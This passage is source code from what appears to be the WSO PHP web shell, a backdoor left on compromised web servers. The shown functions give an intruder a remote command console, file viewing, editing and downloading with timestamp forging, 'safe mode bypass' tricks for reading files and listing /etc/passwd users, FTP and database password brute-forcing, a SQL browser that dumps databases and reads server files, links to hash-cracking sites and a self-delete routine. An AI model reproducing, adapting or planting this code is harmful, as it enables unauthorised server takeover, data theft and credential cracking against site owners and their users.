626 if(class_exists('ZipArchive'))
627 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
628 if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
629 echo "<option value='paste'>Paste / zip</option>";
630 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
631 wsoFooter();
632}
633
634function actionStringTools() {
635 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
636 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
637 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
638 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
639 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
640 $stringTools = array(
641 'Base64 encode' => 'base64_encode',
642 'Base64 decode' => 'base64_decode',
643 'Url encode' => 'urlencode',
644 'Url decode' => 'urldecode',
645 'Full urlencode' => 'full_urlencode',
646 'md5 hash' => 'md5',
647 'sha1 hash' => 'sha1',
648 'crypt' => 'crypt',
649 'CRC32' => 'crc32',
650 'ASCII to HEX' => 'ascii2hex',
651 'HEX to ASCII' => 'hex2ascii',
652 'HEX to DEC' => 'hexdec',
653 'HEX to BIN' => 'hex2bin',
654 'DEC to HEX' => 'dechex',
655 'DEC to BIN' => 'decbin',
656 'BIN to HEX' => 'binhex',
657 'BIN to DEC' => 'bindec',
658 'String to lower case' => 'strtolower',
659 'String to upper case' => 'strtoupper',
660 'Htmlspecialchars' => 'htmlspecialchars',
661 'String length' => 'strlen',
662 );
663 if(isset($_POST['ajax'])) {
664 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
665 ob_start();
666 if(in_array($_POST['p1'], $stringTools))
667 echo $_POST['p1']($_POST['p2']);
668 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
669 echo strlen($temp), "\n", $temp;
670 exit;
671 }
672 wsoHeader();
673 echo '<h1>String conversions</h1><div class=content>';
674 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
675 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
676 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
677 foreach($stringTools as $k => $v)
678 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
679 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
680 if(!empty($_POST['p1'])) {
681 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
682 }
683 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
684 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
685 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
686 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
687 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
688 <tr><td></td><td><input type='submit' value='>>'></td></tr>
689 </table></form>";
690
691 function wsoRecursiveGlob($path) {
692 if(substr($path, -1) != '/')
693 $path.='/';
694 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
695 if(is_array($paths)&&@count($paths)) {
696 foreach($paths as $item) {
697 if(@is_dir($item)){
698 if($path!=$item)
699 wsoRecursiveGlob($item);
700 } else {
701 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
702 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
703 }
704 }
705 }
706 }
707 if(@$_POST['p3'])
708 wsoRecursiveGlob($_POST['c']);
709 echo "</div><br><h1>Search for hash:</h1><div class=content>
710 <form method='post' target='_blank' name='hf'>
711 <input type='text' name='hash' style='width:200px;'><br>
712 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
713 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
714 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
715 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
716 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
717 </form></div>";
718 wsoFooter();
719}
720
721function actionFilesTools() {
722 if( isset($_POST['p1']) )
723 $_POST['p1'] = urldecode($_POST['p1']);
724 if(@$_POST['p2']=='download') {
725 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
726 ob_start("ob_gzhandler", 4096);
727 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
728 if (function_exists("mime_content_type")) {
729 $type = @mime_content_type($_POST['p1']);
730 header("Content-Type: ".$type);
731 }
732 $fp = @fopen($_POST['p1'], "r");
733 if($fp) {
734 while(!@feof($fp))
735 echo @fread($fp, 1024);
736 fclose($fp);
737 }
738 }exit;
739 }
740 if( @$_POST['p2'] == 'mkfile' ) {
741 if(!file_exists($_POST['p1'])) {
742 $fp = @fopen($_POST['p1'], 'w');
743 if($fp) {
744 $_POST['p2'] = "edit";
745 fclose($fp);
746 }
747 }
748 }
749 wsoHeader();
750 echo '<h1>File tools</h1><div class=content>';
751 if( !file_exists(@$_POST['p1']) ) {
752 echo 'File not exists';
753 wsoFooter();
754 return;
755 }
756 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
757 if(!$uid) {
758 $uid['name'] = @fileowner($_POST['p1']);
759 $gid['name'] = @filegroup($_POST['p1']);
760 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
761 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
762 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
763 if( empty($_POST['p2']) )
764 $_POST['p2'] = 'view';
765 if( is_file($_POST['p1']) )
766 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
767 else
768 $m = array('Chmod', 'Rename', 'Touch');
769 foreach($m as $v)
770 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
771 echo '<br><br>';
772 switch($_POST['p2']) {
773 case 'view':
774 echo '<pre class=ml1>';
775 $fp = @fopen($_POST['p1'], 'r');
776 if($fp) {
777 while( !@feof($fp) )
778 echo htmlspecialchars(@fread($fp, 1024));
779 @fclose($fp);
780 }
781 echo '</pre>';
782 break;
783 case 'highlight':
784 if( @is_readable($_POST['p1']) ) {
785 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
786 $code = @highlight_file($_POST['p1'],true);
787 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
788 }
789 break;
790 case 'chmod':
791 if( !empty($_POST['p3']) ) {
792 $perms = 0;
793 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
794 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
795 if(!@chmod($_POST['p1'], $perms))
796 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
797 }
798 clearstatcache();
799 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
800 break;
801 case 'edit':
802 if( !is_writable($_POST['p1'])) {
803 echo 'File isn\'t writeable';
804 break;
805 }
806 if( !empty($_POST['p3']) ) {
807 $time = @filemtime($_POST['p1']);
808 $_POST['p3'] = substr($_POST['p3'],1);
809 $fp = @fopen($_POST['p1'],"w");
810 if($fp) {
811 @fwrite($fp,$_POST['p3']);
812 @fclose($fp);
813 echo 'Saved!<br><script>p3_="";</script>';
814 @touch($_POST['p1'],$time,$time);
815 }
816 }
817 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
818 $fp = @fopen($_POST['p1'], 'r');
819 if($fp) {
820 while( !@feof($fp) )
821 echo htmlspecialchars(@fread($fp, 1024));
822 @fclose($fp);
823 }
824 echo '</textarea><input type=submit value=">>"></form>';
825 break;
826 case 'hexdump':
827 $c = @file_get_contents($_POST['p1']);
828 $n = 0;
829 $h = array('00000000<br>','','');
830 $len = strlen($c);
831 for ($i=0; $i<$len; ++$i) {
832 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
833 switch ( ord($c[$i]) ) {
834 case 0: $h[2] .= ' '; break;
835 case 9: $h[2] .= ' '; break;
836 case 10: $h[2] .= ' '; break;
837 case 13: $h[2] .= ' '; break;
838 default: $h[2] .= $c[$i]; break;
839 }
840 $n++;
841 if ($n == 32) {
842 $n = 0;
843 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
844 $h[1] .= '<br>';
845 $h[2] .= "\n";
846 }
847 }
848 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
849 break;
850 case 'rename':
851 if( !empty($_POST['p3']) ) {
852 if(!@rename($_POST['p1'], $_POST['p3']))
853 echo 'Can\'t rename!<br>';
854 else
855 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
856 }
857 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
858 break;
859 case 'touch':
860 if( !empty($_POST['p3']) ) {
861 $time = strtotime($_POST['p3']);
862 if($time) {
863 if(!touch($_POST['p1'],$time,$time))
864 echo 'Fail!';
865 else
866 echo 'Touched!';
867 } else echo 'Bad time format!';
868 }
869 clearstatcache();
870 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
871 break;
872 }
873 echo '</div>';
874 wsoFooter();
875}
876
877function actionSafeMode() {
878 $temp='';
879 ob_start();
880 switch($_POST['p1']) {
881 case 1:
882 $temp=@tempnam($test, 'cx');
883 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
884 echo @file_get_contents($temp);
885 unlink($temp);
886 } else
887 echo 'Sorry... Can\'t open file';
888 break;
889 case 2:
890 $files = glob($_POST['p2'].'*');
891 if( is_array($files) )
892 foreach ($files as $filename)
893 echo $filename."\n";
894 break;
895 case 3:
896 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
897 curl_exec($ch);
898 break;
899 case 4:
900 ini_restore("safe_mode");
901 ini_restore("open_basedir");
902 include($_POST['p2']);
903 break;
904 case 5:
905 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
906 $uid = @posix_getpwuid($_POST['p2']);
907 if ($uid)
908 echo join(':',$uid)."\n";
909 }
910 break;
911 }
912 $temp = ob_get_clean();
913 wsoHeader();
914 echo '<h1>Safe mode bypass</h1><div class=content>';
915 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
916 if($temp)
917 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
918 echo '</div>';
919 wsoFooter();
920}
921
922function actionConsole() {
923 if(isset($_POST['ajax'])) {
924 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
925 ob_start();
926 echo "document.cf.cmd.value='';\n";
927 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
928 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
929 if(@chdir($match[1])) {
930 $GLOBALS['cwd'] = @getcwd();
931 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
932 }
933 }
934 echo "document.cf.output.value+='".$temp."';";
935 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
936 $temp = ob_get_clean();
937 echo strlen($temp), "\n", $temp;
938 exit;
939 }
940 wsoHeader();
941 echo "<script>
942if(window.Event) window.captureEvents(Event.KEYDOWN);
943var cmds = new Array('');
944var cur = 0;
945function kp(e) {
946 var n = (window.Event) ? e.which : e.keyCode;
947 if(n == 38) {
948 cur--;
949 if(cur>=0)
950 document.cf.cmd.value = cmds[cur];
951 else
952 cur++;
953 } else if(n == 40) {
954 cur++;
955 if(cur < cmds.length)
956 document.cf.cmd.value = cmds[cur];
957 else
958 cur--;
959 }
960}
961function add(cmd) {
962 cmds.pop();
963 cmds.push(cmd);
964 cmds.push('');
965 cur = cmds.length-1;
966}
967</script>";
968 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
969 foreach($GLOBALS['aliases'] as $n => $v) {
970 if($v == '') {
971 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
972 continue;
973 }
974 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
975 }
976 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
977 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
978 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
979 if(!empty($_POST['p1'])) {
980 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
981 }
982 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
983 echo '</form></div><script>document.cf.cmd.focus();</script>';
984 wsoFooter();
985}
986
987function actionLogout() {
988 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
989 die('bye!');
990}
991
992function actionSelfRemove() {
993
994 if($_POST['p1'] == 'yes')
995 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
996 die('Shell has been removed');
997 else
998 echo 'unlink error!';
999 if($_POST['p1'] != 'yes')
1000 wsoHeader();
1001 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1002 wsoFooter();
1003}
1004
1005function actionBruteforce() {
1006 wsoHeader();
1007 if( isset($_POST['proto']) ) {
1008 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1009 if( $_POST['proto'] == 'ftp' ) {
1010 function bruteForce($ip,$port,$login,$pass) {
1011 $fp = @ftp_connect($ip, $port?$port:21);
1012 if(!$fp) return false;
1013 $res = @ftp_login($fp, $login, $pass);
1014 @ftp_close($fp);
1015 return $res;
1016 }
1017 } elseif( $_POST['proto'] == 'mysql' ) {
1018 function bruteForce($ip,$port,$login,$pass) {
1019 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1020 @mysql_close($res);
1021 return $res;
1022 }
1023 } elseif( $_POST['proto'] == 'pgsql' ) {
1024 function bruteForce($ip,$port,$login,$pass) {
1025 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1026 $res = @pg_connect($str);
1027 @pg_close($res);
1028 return $res;
1029 }
1030 }
1031 $success = 0;
1032 $attempts = 0;
1033 $server = explode(":", $_POST['server']);
1034 if($_POST['type'] == 1) {
1035 $temp = @file('/etc/passwd');
1036 if( is_array($temp) )
1037 foreach($temp as $line) {
1038 $line = explode(":", $line);
1039 ++$attempts;
1040 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1041 $success++;
1042 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1043 }
1044 if(@$_POST['reverse']) {
1045 $tmp = "";
1046 for($i=strlen($line[0])-1; $i>=0; --$i)
1047 $tmp .= $line[0][$i];
1048 ++$attempts;
1049 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1050 $success++;
1051 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1052 }
1053 }
1054 }
1055 } elseif($_POST['type'] == 2) {
1056 $temp = @file($_POST['dict']);
1057 if( is_array($temp) )
1058 foreach($temp as $line) {
1059 $line = trim($line);
1060 ++$attempts;
1061 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1062 $success++;
1063 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1064 }
1065 }
1066 }
1067 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1068 }
1069 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1070 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1071 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1072 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1073 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1074 .'<span>Server:port</span></td>'
1075 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1076 .'<tr><td><span>Brute type</span></td>'
1077 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1078 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1079 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1080 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1081 .'<td><input type=text name=login value="root"></td></tr>'
1082 .'<tr><td><span>Dictionary</span></td>'
1083 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1084 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1085 echo '</div><br>';
1086 wsoFooter();
1087}
1088
1089function actionSql() {
1090 class DbClass {
1091 var $type;
1092 var $link;
1093 var $res;
1094 function DbClass($type) {
1095 $this->type = $type;
1096 }
1097 function connect($host, $user, $pass, $dbname){
1098 switch($this->type) {
1099 case 'mysql':
1100 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1101 break;
1102 case 'pgsql':
1103 $host = explode(':', $host);
1104 if(!$host[1]) $host[1]=5432;
1105 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1106 break;
1107 }
1108 return false;
1109 }
1110 function selectdb($db) {
1111 switch($this->type) {
1112 case 'mysql':
1113 if (@mysql_select_db($db))return true;
1114 break;
1115 }
1116 return false;
1117 }
1118 function query($str) {
1119 switch($this->type) {
1120 case 'mysql':
1121 return $this->res = @mysql_query($str);
1122 break;
1123 case 'pgsql':
1124 return $this->res = @pg_query($this->link,$str);
1125 break;
1126 }
1127 return false;
1128 }
1129 function fetch() {
1130 $res = func_num_args()?func_get_arg(0):$this->res;
1131 switch($this->type) {
1132 case 'mysql':
1133 return @mysql_fetch_assoc($res);
1134 break;
1135 case 'pgsql':
1136 return @pg_fetch_assoc($res);
1137 break;
1138 }
1139 return false;
1140 }
1141 function listDbs() {
1142 switch($this->type) {
1143 case 'mysql':
1144 return $this->res = @mysql_list_dbs($this->link);
1145 break;
1146 case 'pgsql':
1147 return $this->res = $this->query("SELECT datname FROM pg_database");
1148 break;
1149 }
1150 return false;
1151 }
1152 function listTables() {
1153 switch($this->type) {
1154 case 'mysql':
1155 return $this->res = $this->query('SHOW TABLES');
1156 break;
1157 case 'pgsql':
1158 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1159 break;
1160 }
1161 return false;
1162 }
1163 function error() {
1164 switch($this->type) {
1165 case 'mysql':
1166 return @mysql_error($this->link);
1167 break;
1168 case 'pgsql':
1169 return @pg_last_error($this->link);
1170 break;
1171 }
1172 return false;
1173 }
1174 function setCharset($str) {
1175 switch($this->type) {
1176 case 'mysql':
1177 if(function_exists('mysql_set_charset'))
1178 return @mysql_set_charset($str, $this->link);
1179 else
1180 $this->query('SET CHARSET '.$str);
1181 break;
1182 case 'pgsql':
1183 return @pg_set_client_encoding($this->link, $str);
1184 break;
1185 }
1186 return false;
1187 }
1188 function loadFile($str) {
1189 switch($this->type) {
1190 case 'mysql':
1191 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1192 break;
1193 case 'pgsql':
1194 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1195 $r=array();
1196 while($i=$this->fetch())
1197 $r[] = $i['file'];
1198 $this->query('drop table wso2');
1199 return array('file'=>implode("\n",$r));
1200 break;
1201 }
1202 return false;
1203 }
1204 function dump($table) {
1205 switch($this->type) {
1206 case 'mysql':
1207 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1208 $create = mysql_fetch_array($res);
1209 echo $create[1].";\n\n";
1210 $this->query('SELECT * FROM `'.$table.'`');
1211 while($item = $this->fetch()) {
1212 $columns = array();
1213 foreach($item as $k=>$v) {
1214 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1215 $columns[] = "`".$k."`";
1216 }
1217 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1218 }
1219 break;
1220 case 'pgsql':
1221 $this->query('SELECT * FROM '.$table);
1222 while($item = $this->fetch()) {
1223 $columns = array();
1224 foreach($item as $k=>$v) {
1225 $item[$k] = "'".addslashes($v)."'";
1226 $columns[] = $k;
1227 }
1228 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1229 }
1230 break;
1231 }
1232 return false;
1233 }
1234 };
1235 $db = new DbClass($_POST['type']);
1236 if(@$_POST['p2']=='download') {
1237 ob_start("ob_gzhandler", 4096);
1238 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1239 $db->selectdb($_POST['sql_base']);
1240 header("Content-Disposition: attachment; filename=dump.sql");
1241 header("Content-Type: text/plain");
1242 foreach($_POST['tbl'] as $v)
1243 $db->dump($v);
1244 exit;
1245 }
1246 wsoHeader();
1247 echo "
1248<h1>Sql browser</h1><div class=content>
1249<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1250<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1251<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1252<td><select name='type'><option value='mysql' ";
1253 if(@$_POST['type']=='mysql')echo 'selected';
1254echo ">MySql</option><option value='pgsql' ";
1255if(@$_POST['type']=='pgsql')echo 'selected';
1256echo ">PostgreSql</option></select></td>
1257<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1258<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1259<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1260 $tmp = "<input type=text name=sql_base value=''>";
1261 if(isset($_POST['sql_host'])){
1262 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1263 switch($_POST['charset']) {
1264 case "Windows-1251": $db->setCharset('cp1251'); break;
1265 case "UTF-8": $db->setCharset('utf8'); break;
1266 case "KOI8-R": $db->setCharset('koi8r'); break;
1267 case "KOI8-U": $db->setCharset('koi8u'); break;
1268 case "cp866": $db->setCharset('cp866'); break;
1269 }
1270 $db->listDbs();
1271 echo "<select name=sql_base><option value=''></option>";
1272 while($item = $db->fetch()) {
1273 list($key, $value) = each($item);
1274 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1275 }
1276 echo '</select>';
1277 }
1278 else echo $tmp;
1279 }else
1280 echo $tmp;
1281 echo "</td>
1282 <td><input type=submit value='>>'></td>
1283 </tr>
1284 </table>
1285 <script>
1286 function st(t,l) {
1287 document.sf.p1.value = 'select';
1288 document.sf.p2.value = t;
1289 if(l!=null)document.sf.p3.value = l;
1290 document.sf.submit();
1291 }
1292 function is() {
1293 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1294 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1295 }
1296 </script>";
1297 if(isset($db) && $db->link){
1298 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1299 if(!empty($_POST['sql_base'])){
1300 $db->selectdb($_POST['sql_base']);
1301 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1302 $tbls_res = $db->listTables();
1303 while($item = $db->fetch($tbls_res)) {
1304 list($key, $value) = each($item);
1305 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1306 $value = htmlspecialchars($value);
1307 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1308 }
1309 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1310 if(@$_POST['p1'] == 'select') {
1311 $_POST['p1'] = 'query';
1312 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1313 $num = $db->fetch();
1314 $num = $num['n'];
1315 echo "<span>".$_POST['p2']."</span> ($num) ";
1316 for($i=0;$i<($num/30);$i++)
1317 if($i != (int)$_POST['p3'])
1318 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1319 else
1320 echo ($i+1)," ";
1321 if($_POST['type']=='pgsql')
1322 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1323 else
1324 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1325 echo "<br><br>";
1326 }
1327 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1328 $db->query(@$_POST['p3']);
1329 if($db->res !== false) {
1330 $title = false;
1331 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1332 $line = 1;
1333 while($item = $db->fetch()) {
1334 if(!$title) {
1335 echo '<tr>';
1336 foreach($item as $key => $value)
1337 echo '<th>'.$key.'</th>';
1338 reset($item);
1339 $title=true;
